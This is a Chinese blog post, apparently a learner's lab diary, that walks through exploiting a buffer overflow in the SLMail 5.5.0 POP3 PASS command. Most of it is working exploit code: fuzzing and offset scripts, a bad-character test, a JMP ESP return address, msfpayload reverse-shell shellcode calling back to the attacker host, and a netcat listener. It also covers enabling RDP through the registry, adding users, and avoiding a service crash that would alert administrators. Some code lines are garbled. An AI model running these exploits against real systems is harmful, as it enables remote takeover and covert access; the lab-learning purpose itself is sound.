缓冲区溢出实例

缓冲区溢出原理:http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!

如何发现漏洞:

1、源码审计

2、逆向工程

3、模糊测试(将应用程序,运行在自己设置的合适环境,对其进行调试)

1.向程序堆栈半随机的数据,根据内存变化判断溢出

2.数据生成器:生成随机、半随机数据

3..测试工具:识别溢出漏洞(动态调试工具【逆向工程相关工具】)

注:

在进行本机调试时,需把kali的防火墙设置一下,防止在学习渗透过程中受到攻击。

iptable -A INPUT -p tcpp --destination-port 4444 \! -d 127.0.0.1 -j DORP           #只允许在本机上访问4444端口

iptable -A INPUT -p tcpp --destination-port 13327 \! -d 127.0.0.1 -j DORP        #只允许在本机上访问13327端口

环境:【系统缓冲区溢出,多是其服务】

靶机:winXP【不建议win7、win8,因为XP系统没有安全防护机制】【192.168.1.126】

目标程序:SLMail 5.5.0 Mail Server(邮件服务器);【ports:50 110 139 8376】

动态调试工具:ImmunityDebugger_1_85_setup.exe【自动化程序高,可调用python脚本,使用python2.7环境】

脚本:mona.py【用于定位进程模块,移动仅Debug的Pycommend文件中】   http://www.tuicool.com/articles/N3YFfeE

操作机:kali2.0【192.168.1.127】

注:现不能绕过防火墙,需关闭防火墙

SLMail 5.5.0 Mail Server

POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。

DEP:一种结合软硬件安全机制,阻止代码从内存数据页中被执行;【可绕过】

ASLR(动态内存分配):随机内存地址加载执行程序和DLL,每次重启,内存地址变化

安装完成后,测试端口

利用原理:“PASS”命令后,当一些特殊定制的命令输入,会造成缓冲区溢出,上传shellcode,可控制目标系统,则不需要经过身份验证,获得权限

一、测试哪个命令会出现缓冲区溢出

01.py【最简单的功能实现】

【注:如何了解应用/协议能接受的固定指令:1、Wireshark  2、RFC【必须理解系统底层和协议底层】】

#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try:
print "\nSending evil buffer..."
s.connect(("192.168.1.126",110))
data = s.recv(1024) ###将110端口返回的数据显示在屏幕中
print data s.send("USER Xuan"+"\r\n")
data = s.recv(1024)
print data s.send("PASS test\r\n")
data = s.recv(1024)
print data s.close()
print "\nDone" except:
print "Could not connect to POP3!"

02.py【不断增大发送量,通过Debug确定是否会溢出】【若发到数目很大,还没溢出,则可放弃】##大概确定范围

#!/usr/bin/python

import socket

buffer=["A"]
counter=100
while len(buffer) <= 50:
buffer.append("A"*counter)
counter=counter+200 for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.1.126",110))
s.recv(1024)
s.send("USER test"+"\r\n")
s.recv(1024)
s.send("PASS "+string+"\r\n")
s.send("QUIT\r\n")
s.close()

##通过调试工具查看是否异常?【静态调试(汇编)、动态调试(正在运行的进程:attach)】
110端口【SLmail】:netstat -nao【查看=系统进程的PID和端口等信息】

###重点关注寄存器

#ESP:当ESP中输入数据过多,将会把EIP的内存地址覆盖

#EIP:下一跳指令的内存地址,若下一跳指令被修改,则可执行某一地址空间,运行shellcode

注:模糊测试过程需不断将服务重启,过程比较繁琐

03.py【手动尝试,找到溢出范围】

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2600 try:
print "\nSending evil buffer..."
s.connect(("192.168.1.126",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"
~


#缓冲区溢出虽然发生了,但A未修改EIP,则证明溢出的字符数目应在2600~2700之间

04.py#精确定位【二分法或唯一字符串法】

#生成2700个每四个字符为一组的唯一字符串,使用kali中metasploit脚本工具

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb 2700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9

##将这2700个字符添加进03.py脚本中,作为buffer的参数

#EIP:39694438#因为在内存中数据的读写顺序与人类读写顺序相反,则此ASCII码应为38 44 69 39

根据ASCII码表可得此4个字符为8Di9

#计算偏移量【在此字符串前面有2606个字符】

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb 39694438
[*] Exact match at offset 2606<strong>
</strong>

05.py【确认是否真为此位置】

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606+'B'*4+'C'*20 try:
print "\nSending evil buffer..."
s.connect(("192.168.1.126",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"

思路:将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行

#寻找可存放shellcode的内存空间(本章考虑ESP)

06.py【手动修改C数值,判断内存空间大小是否能放一下shellcode,本章假设ESP寄存器可放3500】

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4) try:
print "\nSending evil buffer..."
s.connect(("192.168.1.126",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"

#选择ESP,右键:follow in dump

#从第一个出现C的地址计算到最后一个C的地址  #可以通过右键Hex,选择16进制表示,方便阅读

##起始地址为:0167A154 终止地址为:0167A2F4

#使用科学计算器,windows下,calc->查看->十六进制,减去结果再转化为十进制,得结果为416

#最小的shellcode为300字节左右,因此ESP足够放下一个shellcode

#在做模糊测试过程中,因为不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,,这些字符有固定用途。如:null byte (0x00)空字符,用于终止字符串的拷贝操作;return (0x0D)回车操作,表示POP3 PASS指令操作完毕。注:返回地址、shellcode、buffer都不能出现坏字符

07.py【思路:发送0x00-0xff 256个字符,查找所有的坏字符】

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0b\x0c\x0d\x0e\x0f\x00"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\4e\x4f\x40"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0"
) buffer = "A"*2606 + "B"*4 + badchars try:
   print "\nSending evil buffer..."
   s.connect(("192.168.1.126",110))
   data = s.recv(1024)
   s.send("USER test"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\nDone!."
except:
   print "Could not connect to POP3!"

#右键follow in dump

#此字符后,数据显示异常,则该字符(0A)可能有问题,进行下一步验证【修改0A为某一正常字符重新发送】

#验证得0A 为坏字符 ;0D为坏字符不出现,缩进一格,全部检查,发现00也被过滤,则可发现该实验中坏字符为:0x00  0x0D 0x0A

重定向数据流,用ESP的地址替换EIP的值,但是ESP的地址是变化的,不能使用硬编码。在SLMali线程应用程序中,操作系统为每个线程分配一段的地址范围,每个线程地址范围不确定

变通思路:在内存地址中寻找固定的系统模块,在模块中寻找JMP ESP指令的地址跳转,再由该指令简介跳转到ESP,从而执行shellcode。利用mona.py脚本识别内存模块,搜素“return address”是JMP ESP指令的模块,寻找无DEP、ALSP保护的内存地址【内存地址不能包含坏字符】{从EIP跳到JMP ESP,再跳到ESP}

#输入!mona modules 查找模块【选择前四个模块为false,最后一个OS dll为true】

#OS dll:操作系统动态连接库,表示可运行在任意系统中,若为false则可能在其他系统中不能运行

!mona modules

!mona find -s "\xff\xe4" -m openc32.dll【在该进程模块查找是否有执行JMP ESP的命令】

【JMP ESP为汇编指令,需转换为二进制指令FFE4】

#nasm_shell.rb脚本的作用就是用来转换汇编指令

root@kali:~# locate nasm_shell.rb
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp
nasm >

#若一个失败继续寻找下面的模块,也有可能找不到,可想别的办法

双击任意一个指令,在内存数据框中,右键->Disassemble切换为汇编语言

可去memory map中查看详细内容【看到其基地址等】

##因为SLmail本身不支持DEP和ASLR等内存保护机制,所以应该任意一个指令都可以实现跳转。如果有DEP保护,必须寻找到code行Access列中有R E两个权限(属于绕过DEP)

在该地址,通过设置断点,判断其下一步操作,验证是否能实现跳转

08.py【验证断点是否正常跳转】

#因为计算机读取数据为翻转【为跳转地址】

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606 + "\x8f\x35\x4a\x5f" + "C" *390 try:
print "\nSending evil buffer..."
s.connect(("192.168.1.126",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"
~


#按F7(单步向前执行)

#将脚本里的shellcode替换成shellcode,则可获得控制

Shellcode

可用Scapy编写,也可用./msfpayload -l自动生成shellcode【该工具中含有大量针对各种系统的shellcode】

###正向开后门基本杜绝,要进行反向开后门

root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.1.127 LPORT=444 C
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
"\xc0\xa8\x01\x7f\x66\x68\x01\xbc\x66\x53\x89\xe1\x95\x68\xec\xf9"
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";<strong>
</strong>

###过虑坏字符

./msfencode -b【编码工具,可将病毒的特征字符编得面目全非,一定程度上可以实现免杀】

root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.1.127 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"
[*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf9\xe1\xc8".
"\x2f\x83\xeb\xfc\xe2\xf4\x05\x8b\x23\x62\x11\x18\x37\xd0\x06\x81".
"\x43\x43\xdd\xc5\x43\x6a\xc5\x6a\xb4\x2a\x81\xe0\x27\xa4\xb6\xf9".
"\x43\x70\xd9\xe0\x23\x66\x72\xd5\x43\x2e\x17\xd0\x08\xb6\x55\x65".
"\x08\x5b\xfe\x20\x02\x22\xf8\x23\x23\xdb\xc2\xb5\xec\x07\x8c\x04".
"\x43\x70\xdd\xe0\x23\x49\x72\xed\x83\xa4\xa6\xfd\xc9\xc4\xfa\xcd".
"\x43\xa6\x95\xc5\xd4\x4e\x3a\xd0\x13\x4b\x72\xa2\xf8\xa4\xb9\xed".
"\x43\x5f\xe5\x4c\x43\x6f\xf1\xbf\xa0\xa1\xb7\xef\x24\x7f\x06\x37".
"\xae\x7c\x9f\x89\xfb\x1d\x91\x96\xbb\x1d\xa6\xb5\x37\xff\x91\x2a".
"\x25\xd3\xc2\xb1\x37\xf9\xa6\x68\x2d\x49\x78\x0c\xc0\x2d\xac\x8b".
"\xca\xd0\x29\x89\x11\x26\x0c\x4c\x9f\xd0\x2f\xb2\x9b\x7c\xaa\xa2".
"\x9b\x6c\xaa\x1e\x18\x47\x39\x49\xc9\x50\x9f\x89\xc9\x93\x9f\xb2".
"\x41\xce\x6c\x89\x24\xd6\x53\x81\x9f\xd0\x2f\x8b\xd8\x7e\xac\x1e".
"\x18\x49\x93\x85\xae\x47\x9a\x8c\xa2\x7f\xa0\xc8\x04\xa6\x1e\x8b".
"\x8c\xa6\x1b\xd0\x08\xdc\x53\x74\x41\xd2\x07\xa3\xe5\xd1\xbb\xcd".
"\x45\x55\xc1\x4a\x63\x84\x91\x93\x36\x9c\xef\x1e\xbd\x07\x06\x37".
"\x93\x78\xab\xb0\x99\x7e\x93\xe0\x99\x7e\xac\xb0\x37\xff\x91\x4c".
"\x11\x2a\x37\xb2\x37\xf9\x93\x1e\x37\x18\x06\x31\xa0\xc8\x80\x27".
"\xb1\xd0\x8c\xe5\x37\xf9\x06\x96\x34\xd0\x29\x89\x38\xa5\xfd\xbe".
"\x9b\xd0\x2f\x1e\x18\x2f";

09.py【“0x90”表示无操作,防止shellcode前部分代码被擦除】

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) shellcode = (
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf9\xe1\xc8"+
"\x2f\x83\xeb\xfc\xe2\xf4\x05\x8b\x23\x62\x11\x18\x37\xd0\x06\x81"+
"\x43\x43\xdd\xc5\x43\x6a\xc5\x6a\xb4\x2a\x81\xe0\x27\xa4\xb6\xf9"+
"\x43\x70\xd9\xe0\x23\x66\x72\xd5\x43\x2e\x17\xd0\x08\xb6\x55\x65"+
"\x08\x5b\xfe\x20\x02\x22\xf8\x23\x23\xdb\xc2\xb5\xec\x07\x8c\x04"+
"\x43\x70\xdd\xe0\x23\x49\x72\xed\x83\xa4\xa6\xfd\xc9\xc4\xfa\xcd"+
"\x43\xa6\x95\xc5\xd4\x4e\x3a\xd0\x13\x4b\x72\xa2\xf8\xa4\xb9\xed"+
"\x43\x5f\xe5\x4c\x43\x6f\xf1\xbf\xa0\xa1\xb7\xef\x24\x7f\x06\x37"+
"\xae\x7c\x9f\x89\xfb\x1d\x91\x96\xbb\x1d\xa6\xb5\x37\xff\x91\x2a"+
"\x25\xd3\xc2\xb1\x37\xf9\xa6\x68\x2d\x49\x78\x0c\xc0\x2d\xac\x8b"+
"\xca\xd0\x29\x89\x11\x26\x0c\x4c\x9f\xd0\x2f\xb2\x9b\x7c\xaa\xa2"+
"\x9b\x6c\xaa\x1e\x18\x47\x39\x49\xc9\x50\x9f\x89\xc9\x93\x9f\xb2"+
"\x41\xce\x6c\x89\x24\xd6\x53\x81\x9f\xd0\x2f\x8b\xd8\x7e\xac\x1e"+
"\x18\x49\x93\x85\xae\x47\x9a\x8c\xa2\x7f\xa0\xc8\x04\xa6\x1e\x8b"+
"\x8c\xa6\x1b\xd0\x08\xdc\x53\x74\x41\xd2\x07\xa3\xe5\xd1\xbb\xcd"+
"\x45\x55\xc1\x4a\x63\x84\x91\x93\x36\x9c\xef\x1e\xbd\x07\x06\x37"+
"\x93\x78\xab\xb0\x99\x7e\x93\xe0\x99\x7e\xac\xb0\x37\xff\x91\x4c"+
"\x11\x2a\x37\xb2\x37\xf9\x93\x1e\x37\x18\x06\x31\xa0\xc8\x80\x27"+
"\xb1\xd0\x8c\xe5\x37\xf9\x06\x96\x34\xd0\x29\x89\x38\xa5\xfd\xbe"+
"\x9b\xd0\x2f\x1e\x18\x2f") buffer = 'A' * 2606 + "\x03\x97\x4b\x5f" + "\x90" * 8 + shellcode try:
   print "\nSending evil buffer..."
   s.connect(("192.168.1.126",110))
   data = s.recv(1024)
   s.send("USER test"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   s.close()
   print "\nDone!."
except:
   print "Could not connect to POP3!"

先在本地侦听444端口,以便目标机器回连

#nc -vlp 444###getshell

##可完美地重复连接,但有些shellcode执行结束会以exitprocess方式退出整个进程,将导致邮件服务奔溃,会引起管理员注意,不过新版本的metasploit已经进行优化。

##因Slmail是一个基于线程的应用,使用ExitThread方式可以避免整个服务崩溃,可是实现重复溢出

./msfpayload win32_reverse LHOST=192.168.1.127 EXITFUNC=thread LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"

############################################################################################

对命令行模式的getshell不适应,可进入图形化界面

1、在此基础上ftp下载一个图形化木马管理程序

2、使用RDP打开windows系统的远程桌面【可通过修改注册表键值】

C:\>echo Windows Registry Editor Version 5.00>3389.reg
echo Windows Registry Editor Version 5.00>3389.reg C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg C:\>echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM Server\Wds\rdpwd\Tds\tcp]>>3389.reg C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg C:\>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg C:\>echo "PortNumber"=dword:00000d3d>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg C:\>regedit /s 3389.reg
regedit /s 3389.reg C:\>shutdown -r -t 0
shutdown -r -t 0

##在kali上安装远程桌面

apt-get install rdesktop

rdesktop 192.168.1.126

####

可在命令行窗口模式下修改用户密码,或增加用户和密码获得管理权限

net user Xuan pass

打开防火墙的3389端口,也可以用修改注册表来实现【windows系统下几乎所有操作都可用修改注册表来实现】

##可使用regsnap【进行注册表实现现状快照,可通过比较修改注册表前后键值变化,找出具体目标,动作需快速】

小白日记,未完待续……

小白日记17:kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail的更多相关文章

  1. kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

    kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...

  2. 小白日记18:kali渗透测试之缓冲区溢出实例(二)--Linux,穿越火线1.9.0

    Linux系统下穿越火线-缓冲区溢出 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞. 工具: 调试工具:edb: ###python在漏洞溢出方面的渗透测 ...

  3. 小白日记7:kali渗透测试之主动信息收集-发现(一)--二层发现:arping/shell脚本,Netdiscover,scapy

    主动信息收集 被动信息收集可能不准确,可以用主动信息收集验证   特点:直接与目标系统交互通信,无法避免留下访问痕迹 解决方法:1.使用受控的第三方电脑进行探测,使用代理 (做好被封杀的准备)   2 ...

  4. 小白日记15:kali渗透测试之弱点扫描-漏扫三招、漏洞管理、CVE、CVSS、NVD

    发现漏洞 弱点发现方法: 1.基于端口服务扫描结果版本信息,比对其是否为最新版本,若不是则去其 官网查看其补丁列表,然后去逐个尝试,但是此法弊端很大,因为各种端口应用比较多,造成耗时大. 2.搜索已公 ...

  5. 小白日记13:kali渗透测试之服务扫描(三)-SMTB扫描、防火墙识别、负载均衡识别、WAF识别

    SMTP扫描 SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式.SMTP协议属于TCP/ ...

  6. 小白日记8:kali渗透测试之主动信息收集(二)三层发现:ping、traceroute、scapy、nmap、fping、Hping

    三层发现 三层协议有:IP以及ICMP协议(internet管理协议).icmp的作用是用来实现intenet管理的,进行路径的发现,网路通信情况,或者目标主机的状态:在三层发现中主要使用icmp协议 ...

  7. 小白日记6:kali渗透测试之被动信息收集(五)-Recon-ng

